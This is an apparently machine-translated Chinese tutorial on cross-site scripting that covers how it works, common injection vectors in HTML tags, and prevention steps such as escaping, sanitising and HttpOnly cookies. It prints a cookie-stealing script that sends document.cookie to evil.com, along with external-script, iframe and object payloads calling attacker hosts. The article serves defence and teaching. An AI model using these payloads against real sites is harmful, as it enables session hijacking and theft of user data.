跨站点脚本 (XSS)
跨站点脚本 (XSS)
跨站点脚本 (XSS) 是客户端代码注入攻击。攻击者旨在通过在合法的网页或 Web 应用程序中包含恶意代码,在受害者的 Web 浏览器中执行恶意脚本。当受害者访问执行恶意代码的网页或 Web 应用程序时,将发生实际攻击。网页或 Web 应用程序成为向用户浏览器传递恶意脚本的工具。通常用于跨站点脚本攻击的易受攻击的车辆是允许注释的论坛、留言板和网页。
如果网页或 Web 应用程序在生成的输出中使用未消毒的用户输入,它很容易受到 XSS 的影响。然后,受害者的浏览器必须分析此用户输入。XSS 攻击在 VBScript、ActiveX、闪存甚至 CSS 中是可能的。但是,它们在 JavaScript 中是最常见的,主要是因为 JavaScript 是大多数浏览体验的基本内容。
跨站点脚本不是用户的问题吗?
如果攻击者可以滥用网页上的 XSS 漏洞在用户的浏览器中执行任意 JavaScript,则该易受攻击的网站或易受攻击的 Web 应用程序及其用户的安全已受到损害。XSS 不像任何其他安全漏洞那样是用户的问题。如果它影响您的用户,它会影响您。
跨站点脚本也可用于污损网站,而不是以用户为目标。攻击者可以使用注入的脚本更改网站内容,甚至将浏览器重定向到另一个网页,例如包含恶意代码的网页。
攻击者可以使用 JavaScript 做什么?
XSS 漏洞被认为比 SQL 注入漏洞危险性要小。在网页上执行 JavaScript 的能力的后果一开始可能看起来并不可怕。大多数 Web 浏览器在严格控制的环境中运行 JavaScript。JavaScript 对用户的操作系统和用户文件的访问权限有限。但是,如果作为恶意内容的一部分被误用,JavaScript 仍然可能很危险:
- 恶意 JavaScript 有权访问网页其余部分有权访问的所有对象。这包括访问用户的 Cookie。Cookie 通常用于存储会话令牌。如果攻击者可以获取用户的会话 Cookie,他们可以模拟该用户,代表用户执行操作,并访问用户的敏感数据。
- JavaScript 可以读取浏览器 DOM 并任意修改它。幸运的是,这只能在运行 JavaScript 的页面中实现。
- JavaScript 可以使用 对象将具有任意内容的 HTTP 请求发送到任意目标。XMLHttpRequest
- 现代浏览器中的 JavaScript 可以使用 HTML5 API。例如,它可以从用户的文件系统访问用户的地理位置、网络摄像头、麦克风,甚至特定文件。这些 API 中大多数都需要用户选择加入,但攻击者可以使用社交工程来绕过这一限制。
上述内容与社会工程相结合,允许犯罪分子进行高级攻击,包括 Cookie 盗窃、种植木马、**记录、网络钓鱼和身份盗窃。XSS 漏洞为将攻击升级为更严重的攻击提供了完美的基础。跨站点脚本也可以与其他类型的攻击结合使用,例如,跨站点请求伪造 (CSRF)。
有几种类型的跨站点脚本攻击:存储/持久 XSS、反射/非持久性 XSS和基于 DOM的 XSS。您可以在一篇题为"XSS类型"的文章中阅读更多关于它们的文章。
跨站点脚本的工作原理
典型的 XSS 攻击有两个阶段:
- 若要在受害者的浏览器中运行恶意 JavaScript 代码,攻击者必须首先找到一种将恶意代码(有效负载)注入受害者访问的页面的方法。
- 之后,受害者必须访问包含恶意代码的网页。如果攻击针对特定受害者,攻击者可以使用社交工程和/或网络钓鱼向受害者发送恶意 URL。
为了可能执行第 1 步,易受攻击的网站需要在其页面中直接包含用户输入。然后,攻击者可以插入将在网页中使用的恶意字符串,并将其视为受害者的浏览器的源代码。XSS 攻击也有一些变体,攻击者使用社交工程诱使用户访问 URL,而有效负载是用户单击的链接的一部分。
以下是服务器端伪代码的代码段,用于在网页上显示最新的注释:
print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"
上述脚本只是从数据库中删除最新的注释,并包含在 HTML 页面中。它假定打印出的注释仅包含文本,不包含 HTML 标记或其他代码。它容易受到 XSS 的攻击,因为攻击者可能会提交包含恶意负载的注释,例如:
<script>doSomethingEvil();</script>
Web 服务器向访问此网页的用户提供以下 HTML 代码:
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
当页面在受害者的浏览器中加载时,攻击者的恶意脚本将执行。多数情况下,受害者没有意识到这一点,无法防止这种攻击。
使用 XSs 窃取饼干
犯罪分子经常使用 XSS 窃取饼干。这允许他们冒充受害者。攻击者可以通过多种方式将 Cookie 发送到自己的服务器。其中之一是执行以下客户端脚本在受害者的浏览器中:
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
下图说明了简单 XSS 攻击的分步演练。
- 攻击者通过提交包含恶意 JavaScript 内容的易受攻击表单,将有效负载注入网站的数据库。
- 受害者从 Web 服务器请求网页。
- Web 服务器为受害者的浏览器提供攻击者的有效负载,作为 HTML 正文的一部分。
- 受害者的浏览器执行 HTML 正文中包含的恶意脚本。在这种情况下,它会将受害者的 Cookie 发送到攻击者的服务器。
- 当 HTTP 请求到达服务器时,攻击者现在只需提取受害者的 Cookie。
- 攻击者现在可以使用受害者的被盗 Cookie 进行模拟。
若要详细了解 XSS 攻击是如何进行的,请参阅一篇题为"跨站点脚本综合教程"的文章。
跨站点脚本攻击矢量
以下是攻击者可能通过 XSS 攻击危害网站或 Web 应用程序安全性的通用 XSS 攻击媒介列表。OWASP 组织维护了更广泛的 XSS 有效负载示例列表:XSS 筛选器逃避备忘单。
<脚本> 标记
标记是最直接的 XSS 有效负载。标记可以引用外部 JavaScript 代码,也可以将代码嵌入到标记本身中。<script>scriptscript
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
JavaScript 事件
JavaScript 事件属性(如 和)可用于许多不同的标记。这是一个非常流行的XSS攻击媒介。onloadonerror
<!-- onload attribute in the <body> tag -->
<body οnlοad=alert("XSS")>
<正文> 标签
通过使用事件属性(如上文)或其他更模糊的属性(如属性),可以在 内部传递 XSS 有效负载。<body>background
<!-- background attribute -->
<body background="javascript:alert("XSS")">
<img> 标签
某些浏览器执行属性中的 JavaScript。<img>
<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!-- tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<iframe> 标记
该标记允许您在当前页面中嵌入另一个 HTML 页面。IFrame 可能包含 JavaScript,但 IFrame 中的 JavaScript 由于浏览器的内容安全策略 (CSP) 而无法访问父页面的 DOM。但是,IFrames 在摆脱网络钓鱼攻击方面仍然非常有效。<iframe>
<!-- <iframe> tag XSS -->
<iframe src="http://evil.com/xss.html">
<输入> 标记
在某些浏览器中,如果标记的属性设置为 ,则可以对其进行操作以嵌入脚本。type<input>image
<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">
<link> 标签
该标记通常用于链接到外部样式表,可能包含脚本。<link>
<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">
<表> 标记
可以利用 和 标记的背景属性来引用脚本而不是图像。<table><td>
<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">
<div> 标签
该标记类似于 <table> 和标记,还可以指定背景并因此嵌入脚本。<div><td>
<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">
<对象> 标记
可用于包含来自外部站点的脚本。<object> tag
<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
您的网站或 Web 应用程序是否容易受到跨站点脚本的影响
跨站点脚本漏洞是最常见的 Web 应用程序漏洞之一。OWASP 组织(开放 Web 应用程序安全项目)将2017 年 OWASP 前 10 名文档中的 XSS漏洞作为第二大问题。
幸运的是,通过使用 Acunetix 漏洞扫描程序(包括专门的 XSS 扫描仪)运行自动 Web 扫描,可以轻松测试您的网站或 Web应用程序是否容易受到 XSS 和其他漏洞的影响。参加演示,详细了解如何针对您的网站或 Web 应用程序运行 XSS 扫描。以下文章:如何检测盲 XSS 漏洞,了解如何使用 Acunetix检测盲 XSS 漏洞。
如何防止 XSS
为了保护自己免受 XSS 的检查,您必须对输入进行消毒。应用程序代码不应将作为输入接收的数据直接输出到浏览器,而不检查其是否为恶意代码。
有关详细信息,请参阅以下文章:防止 XSS 攻击以及如何防止基于 DOM 的跨站点脚本。您还可以在 OWASP 组织维护的 XSS 预防备忘单中找到有用的信息。
如何防止跨站点脚本 (XSS) = 通用提示
防止跨站点脚本 (XSS) 并非易事。特定的预防技术取决于 XSS 漏洞的子类型、用户输入使用上下文以及编程框架。但是,为了保持 Web 应用程序的安全,应遵循某些一般战略原则。
|
第 1 步:训练并保持意识 为保证 Web 应用程序的安全,参与构建 Web 应用程序的每个人都必须了解与 XSS 漏洞相关的风险。您应该为所有开发人员、QA 员工、DevOps 和 SysAdmins 提供合适的安全培训。您可以首先将它们引用到此页面。 |
第 2 步:不信任任何用户输入 将所有用户输入视为不受信任的输入。用作 HTML 输出一部分的任何用户输入都引入了 XSS 的风险。像对待公共输入一样对待来自经过身份验证的和/或内部用户的输入。 |
|
第 3 步:使用转义/编码 根据用户输入的用法位置使用适当的转义/编码技术:HTML 转义、JavaScript 转义、CSS 转义、URL 转义等。使用现有库进行转义,除非绝对必要,否则不要编写自己的库。 |
|
第 4 步:使 HTML 消毒 如果用户输入需要包含 HTML,则无法转义/编码它,因为它会破坏有效的标记。在这种情况下,请使用受信任和验证的库来解析和清理 HTML。根据您的开发语言选择库,例如,用于 .NET 的 Html Sanitizer 或 Rails 上的 Ruby 的 Sanitize 帮助器。 |
|
第 5 步:设置 HttpOnly 标志 若要减轻可能的 XSS 漏洞的后果,请为 Cookie 设置 HttpOnly 标志。如果这样做,则无法通过客户端 JavaScript 访问此类 Cookie。 |